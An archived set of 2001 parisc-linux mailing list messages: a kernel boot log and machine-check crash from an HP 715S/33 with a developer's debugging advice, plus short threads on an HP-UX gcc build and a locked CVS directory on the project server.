Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mel-rti19.wanadoo.fr (unknown [193.252.19.44])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0753482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Oct 2001 13:41:07 -0700 (MST)
Original-Received: from villosa.wanadoo.fr (193.252.19.122) by mel-rti19.wanadoo.fr; 29 Oct 2001 21:41:01 +0100
Original-Received: from mehaban (80.11.94.133) by villosa.wanadoo.fr; 29 Oct 2001 21:40:36 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12849

Hello All

I got a 715S/33 aka Strider-33 than does not want to boot PALINUX :~)
this is some information about my machine as Thomas Marteau requested.
i do not have HPUX so i cannot record it and answer some questions in the
hardware database.
i record my machine as a 715/33 aka Scorpio-33 but it is not one.it is a
Strider-33
there is many ref for this machine Apollo modele 715t/33 (from the front)
and also 425t (back)
i do my kernel by myself because none of the other went so far from the
CDROM v0.9.0 and v0.9.2.
i use linux-20011011.tar.gz
the x-compiler comes from  xc-20010905.tar.gz
and for palo palo-20010909.tar.gz
i build a disque on a pc and i plug it in the HPPA. (and try one more
boot...)
if someone can help he will be welcome.
if someone wants more info just ask.
Regards
Jean-Yves

following a listing of my best infos:

(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92

PDC ROM rev. 1.0
IODC ROM rev. 1.0
64 MB of memory have been configured.


Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.3.0                 FUJITSU M1606S-512



b)   Boot from specified device
s)   Search for bootable devices
a)   Enter Boot Administration mode
x)   Exit and continue boot sequence
?)   Help

Select from menu: a
BOOT_ADMIN> info all
---------------------- Boot Sequence/Miscellaneous
Information ---------------

Wed Oct  10 21:36:01 GMT 2001    (20:01:10:10:21:36:01)
OSF Operating System selected.
Autoselect OFF.
Secure Boot Mode OFF.
LAN Station Address:  080009-41f40f
FASTSIZE =      0x08   ( 64 MB)
64 MB of memory have been configured.

Primary boot path   = scsi.6.0
Alternate boot path = scsi.5.0
Console path        = graphics_1
Keyboard path       = hil

----------- I/O and Processor Dependent Code (PDC/IODC)
Revisions -----------

Processor Dependent Code (PDC) Revision  = 1.0

EISA Adapter IODC
     Hardware Version              208     (0x000000d0)
     Software Version            30208     (0x00007600)

SCSI IODC
     Hardware Version              208     (0x000000d0)
     Software Version            28928     (0x00007100)
     IODC Revision                   0     (0x00000000)

LAN IODC
     Hardware Version              208     (0x000000d0)
     Software Version            29184     (0x00007200)
     IODC Revision                   0     (0x00000000)

RS232 IODC
     Hardware Version              208     (0x000000d0)
     Software Version            29952     (0x00007500)
     IODC Revision                   0     (0x00000000)

HP-HIL IODC
     Hardware Version              208     (0x000000d0)
     Software Version            29440     (0x00007300)
     IODC Revision                   0     (0x00000000)


----------------------------- Hardware
Configuration ------------------------

Machine model: 9000/715

Processor Frequency             = 33333500 Hz
I/O Subsystem Frequency         = 16666750 Hz

SCSI Jumper Frequency setting   = 33333500 Hz
EISA Jumper Frequency setting   = 16500000 Hz


LAN Jumper Status: Internal ThinLAN Port selected

Processor Revision                  = 8
System Controller Revision          = 0
Floating Point Coprocessor Revision = 1

Hardware Version            12592     (0x00003130)
Software Version             1153     (0x00000481)

----------------------------------------------------------------------------

(c) Copyright.  Hewlett-Packard Company.  1992.
All rights reserved.
Portions of this code are (c) Copyright Samsung Electronics Co., Ltd, 91, 92

PDC ROM rev. 1.0
IODC ROM rev. 1.0
64 MB of memory have been configured.


Searching for Potential Boot Devices.
To terminate search, press and hold the ESCAPE key.

Device Selection      Device Path              Device Type
----------------------------------------------------------------------------

P0                    scsi.3.0                 FUJITSU M1606S-512



b)   Boot from specified device
s)   Search for bootable devices
a)   Enter Boot Administration mode
x)   Exit and continue boot sequence
?)   Help

Select from menu: b p0

Trying scsi.3.0
Boot path initialized.
Attempting to load IPL.


Hard booted.
palo ipl 0.94 root@jygx Sat Oct 20 08:59:09 CEST 2001
0/vmlinux32 3154742 bytes @ 0x48000
Partition Start(MB) End(MB) Id Type
1               1      23   f0 Palo
2              24     925   83 ext2
3             926    1035   82 swap

Command line: 'HOME=/ TERM=linux root=/dev/sda2 console=ttyS0'

Kernel: partition 2 file /vmlinux32
ext2 block size 4096
ext2_mount(partition 2) returns 0
Opening /vmlinux32
ext2_open(/vmlinux32) = 3
ELF32 executable
Entry 001000d0 first 00100000 n 6
Segment 0 load 00100000 size 1711660 mediaptr 0x1000
Segment 1 load 002a2000 size 281928 mediaptr 0x1a3000
Segment 2 load 002e8000 size 381244 mediaptr 0x1e8000
Segment 3 load 00348000 size 8192 mediaptr 0x246000
Segment 4 load 00350000 size 32768 mediaptr 0x248000
Segment 5 load 0038e67c size 88016 mediaptr 0x25067c
branching to kernel entry point 0x001000d0
Linux version 2.4.9-pa47 (root@jygx) (gcc version 3.0.2 20010829
(prerelease)) #3 Sat Oct 20 08:54:02 CEST 2001
Kernel loaded. Setup...
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model 00003130 00000481 00000000 00000000 7825e314 ffffffff 00000004
0000000a 0000000a
vers 00000008
CPUID vers 0 rev 0
model 9000/715
Total Memory: 64 Mb
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/sda2 console=ttyS0
Console: colour dummy device 160x64
Calibrating delay loop... 33.17 BogoMIPS
Memory: 61656k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
Mount-cache hash table entries: 1024 (order: 1, 8192 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Searching for devices...
Found devices:
1. Strider-33 Core BA (11) at 0xf082f000, versions 0xd, 0x0, 0x70
2. Strider-33 Core SCSI (10) at 0xf0825000, versions 0xd, 0x0, 0x71
3. Strider-33 Core LAN (802.3) (10) at 0xf0826000, versions 0xd, 0x0, 0x72
4. Strider-33 Core HIL (10) at 0xf0821000, versions 0xd, 0x0, 0x73
5. Strider-33 Core RS-232 (10) at 0xf0823000, versions 0xd, 0x0, 0x75
6. Strider-33 Core RS-232 (10) at 0xf0822000, versions 0xd, 0x0, 0x75
7. Strider-33 Core Centronics (10) at 0xf0824000, versions 0xd, 0x0, 0x74
8. Strider-33 Audio (10) at 0xf1000000, versions 0xd, 0x0, 0x7b
9. Strider-33 Core EISA (11) at 0xfc000000, versions 0xd, 0x0, 0x76
10. Strider-33 (715S/33) (0) at 0xfffbe000, versions 0x313, 0x0, 0x4
11. Strider-33 (707T) (1) at 0xfffbf000, versions 0x1d, 0x0, 0x9
That's a total of 11 devices.
CPU(s): 1 x PA7100 (PCX-T) at 33.333500 MHz
Mongoose EISA Adapter found at 0xfc000000
Asp version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
POSIX conformance testing by UNIFIX
**************JYG 20011012***************
lock_kernel.
do_basic_setup.
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: no keyboard present.
Warning : device (10, 0xd, 0x0, 0x73) NOT claimed by HIL
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 41 F4 0F IRQ 87.
82596.c $Revision: 1.23 $
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0
scsi0 : LASI SCSI 53c700
  Vendor: FUJITSU   Model: M1606S-512        Rev: 6C01
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 3, lun 0
scsi0: (3:0) Enabling Tag Command Queuing
SCSI device sda: 2131992 512-byte hdwr sectors (1092 MB)
Partition check:
 sda: sda1 sda2 sda3



Dumping Stack from 104fc000 to 104fc600:
c000 00000000 00000040 00000000 00000000 102b5160 00000000 00000000 ffffffff
c020 00000004 00000000 00000000 00000000 00000000 00000000 ffffffff 102b23e0
c040 102b23e0 00000b45 104f4000 10348000 102bb600 00000000 00000000 00000000
c060 00000000 00000000 00000000 00000001 00000000 00000000 00000000 00000000
c080 00000000 10348000 10348000 104d0000 104ec000 00000000 104dc098 10348098
c0a0 00000000 102b40b4 104fc0a8 104fc0a8 00000000 00000000 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 104fc000
c0e0 1011b008 00000000 00000204 00000000 00000000 000008bc 00000000 00000ac0
c100 00000000 00000000 00000000 00000000 00000000 00000000 80000000 00000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1c0 fffffeff 00000000 ffffffff 00000000 102b6120 ffffffff ffffffff ffffffff
c1e0 ffffffff ffffffff ffffffff 00800000 05000000 00000000 ffffffff ffffffff
c200 ffffffff 000003c3 000003c3 00000400 00000400 ffffffff ffffffff ffffffff
c220 ffffffff ffffffff ffffffff 00007377 61707065 72000000 00000000 00000000
c240 00000000 00000000 00000000 00000000 00000000 00000000 00003c36 00800327
c260 102b7010 00003c36 000ff000 1027a170 1002ada0 0004000e fc4ff000 fc4ff000
c280 00000089 10119424 0006e480 00003c36 00800327 10361810 1035d75b 102e8fd4
c2a0 00000024 0000003c 0000003e 102b5010 00000001 1035d75b 00000089 00000000
c2c0 10100420 00003c36 00000000 0000000b 10350000 0006e480 00003c36 10365abc
c2e0 10287884 1002e120 00000089 10350000 0006e480 00003c36 00008124 1035d73a
c300 1035d737 101595e4 00000010 00000010 00000000 00000000 00000003 00000000
c320 10348554 10287a70 00000000 102e8fd4 00000000 102e1804 1035a290 1035a010
c340 1035a010 101595e4 102e18d4 1035a650 41000000 00000000 00000003 00000000
c360 10348594 1028787c 00000000 103a4e40 1029a2e8 1029a2ec fc4ff000 00000089
c380 00000008 10159018 0000000a 1035a6c8 103485e8 00000000 fc4ff000 00000001
c3a0 00008124 10348594 000000f0 103a4240 00000000 1002d000 1002c040 1035a010
c3c0 1035a010 10159018 fffffff0 10027120 30313233 34353637 00000000 1002c040
c3e0 1002b0a0 1002c040 00000000 102b7410 0004000e fc4ff000 fc4ff000 1035a010
c400 1035a010 1012f338 00000000 1035d010 00000001 104fc9c0 10106cf0 00000001
c420 000000f0 00000000 000000f0 103a4e40 fff00000 40000000 00000000 00000000
c440 102bb040 102bb060 102bb1fc 00000000 00000000 00000000 104fc454 00000000
c460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c480 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c4a0 00000000 00000000 00000000 10106c4c 00000000 00000000 00000000 00000000
c4c0 00000000 10348000 00000000 00000000 0000088b 00000001 00000001 1027a244
c4e0 00000000 00000000 00000000 10100458 00000000 00000000 00000000 00000000
c500 10348000 00be0000 f0001018 000ff000 001a5a59 102e8fd4 0004000e fc4ff000
c520 102b5010 104fc000 102bb600 102e9194 10348000 00be0000 00000000 00000000
c540 104fc000 102bb600 00000000 1034513c 1034510c 104d9c40 102b7410 1028d8d0
c560 1034513c 103450cc 00000000 102fa9e0 00000000 00000000 00000000 00000000
c580 1034513c 10345104 00000000 104fc58c 104fc58c 103450e4 00000000 104fc58c
c5a0 104fc58c 104fc000 fc4ff000 1010a828 104fc000 102bb600 102d4af0 1034513c
c5c0 00000007 102d5d50 1035a5d8 0004000e fc4ff000 102b5010 102d4010 00000000
c5e0 102d5544 00000000 00000000 102fab74 102d53d0 104d9d40 00000000 104d9d40

High Priority Machine Check (HPMC): Code=1 regs=102a5080 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111000001111
r0-3     00000000 1021e800 102fab98 10373810
r4-7     10374004 1035a5d8 1035a010 1035a010
r8-11    102b5010 fc4ff000 0004000e 102e8fd4
r12-15   001a5a59 000ff000 f0001018 00000000
r16-19   00000001 08000058 f000069c 0000000f
r20-23   00000000 102d5d40 1021fed0 0000ffff
r24-27   102d5c68 10295c10 f1000001 102a2010
r28-31   000000ff 00000780 104fc600 1021f244
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 1021efe8 1021efec
 IIR: e840c000    ISR: 00000000  IOR: 102fab98
 CPU:        0   CR30: 104fc000 CR31: 10350000
 ORIG_R28: 00000000






From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 715S/33 aka Strider-33
Date: Mon, 29 Oct 2001 20:54:28 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <20011029205428.A31924@parcelfarce.linux.theplanet.co.uk>
References: <005401c160ba$56bd13a0$010101a8@TPDEV.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620690 28949 80.91.229.3 (22 Nov 2014 01:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jean-yves GUILLEVIC <jean-yves.guillevic@wanadoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct 29 13:54:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 805A2482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Oct 2001 13:54:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15yJQS-0000aQ-00; Mon, 29 Oct 2001 20:54:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <005401c160ba$56bd13a0$010101a8@TPDEV.local>; from jean-yves.guillevic@wanadoo.fr on Mon, Oct 29, 2001 at 09:43:12PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12850

On Mon, Oct 29, 2001 at 09:43:12PM +0100, jean-yves GUILLEVIC wrote:
> if someone can help he will be welcome.
> if someone wants more info just ask.

> High Priority Machine Check (HPMC): Code=1 regs=102a5080 (Addr=00000000)
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111000001111
> r0-3     00000000 1021e800 102fab98 10373810
> r4-7     10374004 1035a5d8 1035a010 1035a010
> r8-11    102b5010 fc4ff000 0004000e 102e8fd4
> r12-15   001a5a59 000ff000 f0001018 00000000
> r16-19   00000001 08000058 f000069c 0000000f
> r20-23   00000000 102d5d40 1021fed0 0000ffff
> r24-27   102d5c68 10295c10 f1000001 102a2010
> r28-31   000000ff 00000780 104fc600 1021f244
> sr0-3    00000000 00000000 00000000 00000000
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 1021efe8 1021efec
>  IIR: e840c000    ISR: 00000000  IOR: 102fab98
>  CPU:        0   CR30: 104fc000 CR31: 10350000
>  ORIG_R28: 00000000

Let's start by decoding 1021efe8 in your System.map.  102fab98 is probably
in the function which called it.  It may or may not be useful to decode
some of the earlier addresses in the stack dump -- normally IAOQ and r2
are enough to give an initial starting point for investigating.

I'm going to guess though that you were in gsc_readb or similar.  The first
argument is in gr26 and it's 0xf1000001.  Given your output:

> 8. Strider-33 Audio (10) at 0xf1000000, versions 0xd, 0x0, 0x7b

I would guess that disabling sound would allow the kernel to boot a
little further.  Could you investigate this please?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: RE: about linux for PA_RISC
Date: Tue, 30 Oct 2001 09:44:29 +0100 (CET)
Lines: 30
Approved: news@gmane.org
Message-ID: <1004431469.3bde686db73fb@webmail.tiscalinet.be>
References: <20011030012552.27471.qmail@sina.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620690 28952 80.91.229.3 (22 Nov 2014 01:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:50 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: aungho <aungho@sina.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 30 01:44:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 911FC482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Oct 2001 01:44:48 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15yUVZ-0004Bm-00; Tue, 30 Oct 2001 09:44:29 +0100
In-Reply-To: <20011030012552.27471.qmail@sina.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12851

Hello,

Quoting aungho <aungho@sina.com>:

> hi,
> thank you,that problem have been solved.

Happy that it helps you too.

> But other problems:

> 1.can HP_UX 11.11 for pa_risc 2.0 on L2000 gcc complier,we find gcc for
> HP_ux 11.00 for pa_risc 1.x and HP_UX 10.0 and they work normally,how to
> get  gcc complier for hp_ux 11.11.
> 

I have no news about this. But is it an actual problem?

> 2.Linux for pa_risc is only a test version.

You have right. But it seems quiet stable now.

Joel



-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs locked on the new server
Date: Tue, 30 Oct 2001 10:00:55 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <3BDECEB7.7020802@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620690 28954 80.91.229.3 (22 Nov 2014 01:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:50 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 30 08:47:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cactus.bheadley.org (d196.focal4.interaccess.com [207.208.139.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0484C482C
	for <parisc-linux@parisc-linux.org>; Tue, 30 Oct 2001 08:47:39 -0700 (MST)
Original-Received: from interaccess.com (IDENT:bheadley@localhost.localdomain [127.0.0.1])
	by cactus.bheadley.org (8.11.6/8.11.6) with ESMTP id f9UG0u818624
	for <parisc-linux@parisc-linux.org>; Tue, 30 Oct 2001 10:00:58 -0600
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.5) Gecko/20011012
X-Accept-Language: en-us
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12852

/var/cvs/obsolete/binutils-2.10 seems to be locked by uid26947.

Probably need to make some entries in the modules file. (Otherwise why 
would I want something from the obsolete directory?)


-- 
____               .:.                 ____
Bryan W. Headley - bheadley@interaccess.com




From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs locked on the new server
Date: Tue, 30 Oct 2001 16:01:38 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20011030160138.B26881@parcelfarce.linux.theplanet.co.uk>
References: <3BDECEB7.7020802@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620691 28957 80.91.229.3 (22 Nov 2014 01:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Bryan W. Headley" <bheadley@interaccess.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 30 09:01:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94099482C
	for <parisc-linux@parisc-linux.org>; Tue, 30 Oct 2001 09:01:40 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ybKc-0000DU-00; Tue, 30 Oct 2001 16:01:38 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3BDECEB7.7020802@interaccess.com>; from bheadley@interaccess.com on Tue, Oct 30, 2001 at 10:00:55AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12853

On Tue, Oct 30, 2001 at 10:00:55AM -0600, Bryan W. Headley wrote:
> /var/cvs/obsolete/binutils-2.10 seems to be locked by uid26947.
> 
> Probably need to make some entries in the modules file. (Otherwise why 
> would I want something from the obsolete directory?)

Mmm, no, it seems to be deliberate.  pehc:/etc/passwd:
dir_renamed_read_your_mail:!!:26947:26947::/home/dir_renamed_read_your_mail:/bin/bash
which was put in place by Mike Ang _many_ months ago.  I thought this
directory was going to be deleted as part of the move to cvs.p-l.org.

Why do you want binutils-2.10 anyway?

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: RE: about linux for PA_RISC
Date: Tue, 30 Oct 2001 13:14:47 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <200110302014.NAA15070@puffin.external.hp.com>
References: <1004431469.3bde686db73fb@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620691 28959 80.91.229.3 (22 Nov 2014 01:44:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:51 +0000 (UTC)
Cc: aungho <aungho@sina.com>, parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 30 13:19:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFA5D482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 30 Oct 2001 13:19:09 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA15070;
	Tue, 30 Oct 2001 13:14:47 -0700
In-Reply-To: Message from joel.soete@freebel.net 
   of "Tue, 30 Oct 2001 09:44:29 +0100." <1004431469.3bde686db73fb@webmail.tiscalinet.be> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
